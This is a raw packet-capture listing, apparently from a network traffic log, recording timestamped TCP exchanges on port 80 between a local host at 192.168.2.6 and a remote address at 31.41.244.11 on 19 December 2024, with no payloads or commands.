Dec 19, 2024 08:09:16.496869087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.496886015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.497668028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.497679949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.497725964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.498388052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.498447895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.498505116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.498563051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.499255896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.499300957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.499370098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.499423027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.500107050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.500148058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.500235081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.500276089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.501023054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.501034975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.501074076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.501883030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.501936913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.501938105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.501979113 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.502720118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.502732992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.502777100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.503545046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.503586054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.503592014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.503627062 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.504488945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.504502058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.504534960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.504554033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.505244017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.505383015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.505438089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.506078959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.506124973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.506247997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.506299019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.506953955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.506964922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.507003069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.507826090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.507884026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.507910967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.507925987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.508672953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.508744955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.508769989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.508822918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.509483099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.509553909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.509593010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.509646893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.510338068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.510395050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.510432959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.510482073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.511234999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.511245966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.511291981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.512046099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.512092113 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.512094021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.512141943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.512901068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.512938023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.513006926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.513048887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.513766050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.513814926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.513853073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.513900995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.514605999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.514651060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.514709949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.514887094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.515471935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.515516996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.515553951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.515600920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.516324043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.516371012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.516408920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.516458035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.517196894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.517256975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.517327070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.517374992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.518054008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.518105984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.518173933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.518223047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.518889904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.518934965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.518990040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.519036055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.519751072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.519795895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.519861937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.519906044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.520605087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.520684004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.520716906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.520766020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.521456003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.521560907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.521581888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.521598101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.522304058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.522346973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.522406101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.522484064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.523189068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.523268938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.523319006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.523997068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.524044991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.524122000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.524384022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.524905920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.524916887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.524960995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.525726080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.525773048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.525810957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.525859118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.526567936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.526612997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.526664019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.526706934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.527455091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.527501106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.527528048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.527575016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.528291941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.528302908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.528342962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.529131889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.529241085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.529284000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.529988050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.530050039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.530081987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.530158997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.530862093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.530981064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.531038046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.531732082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.531789064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.531847000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.531908989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.532572985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.532633066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.532676935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.532738924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.533412933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.533457994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.533509016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.533552885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.534250021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.534296989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.534349918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.534392118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.535111904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.535217047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.535229921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.535260916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.535978079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.536062956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.536108971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.536813021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.536860943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.536899090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.537250042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.537663937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.537712097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.537786961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.537832975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.538542986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.538589954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.538645029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.538691044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.539385080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.539431095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.539482117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.539546013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.540182114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.540230989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.687607050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.687669992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.687688112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.687728882 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.688024998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.688077927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.688147068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.688194990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.688874960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.688945055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.688983917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.689028025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.689730883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.689790010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.689800024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.689840078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.690613031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.690671921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.690715075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.690749884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.691483021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.691535950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.691581011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.692281961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.692378998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.692404985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.692446947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.693140030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.693180084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.693259954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.693298101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.694025040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.694036961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.694077969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.694842100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.694919109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.694984913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.695036888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.695704937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.695795059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.696027994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.696069956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.696548939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.696588993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.696681023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.696721077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.697407007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.697508097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.697509050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.697546959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.698296070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.698307037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.698345900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.699130058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.699286938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.699290037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.699326992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.699959040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.699999094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.700162888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.700273037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.700870991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.700942039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.701036930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.701221943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.701687098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.701755047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.701792955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.701859951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.702557087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.702568054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.702611923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.703417063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.703459024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.703485012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.703525066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.704287052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.704348087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.704535007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.704591990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.705147982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.705193996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.705252886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.705291986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.705939054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.705986023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.706017971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.706044912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.706845045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.706857920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.706892014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.706906080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.707667112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.707719088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.707726002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.707762957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.708507061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.708550930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.708600998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.708645105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.709398985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.709450006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.709470034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.709510088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.710205078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.710249901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.710306883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.710356951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.711072922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.711147070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.711191893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.711945057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.711997986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.712064028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.712109089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.712774992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.712821960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.712881088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.712925911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.713628054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.713732004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.713787079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.714544058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.714647055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.714668989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.714714050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.715334892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.715409040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.715449095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.715487957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.716207027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.716285944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.716361046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.716568947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.717056036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.717140913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.717175961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.717268944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.717895031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.717945099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.718014956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.718058109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.718751907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.718799114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.718878031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.718930960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.719599962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.719655991 CET	49802	80	192.168.2.6	31.41.244.11
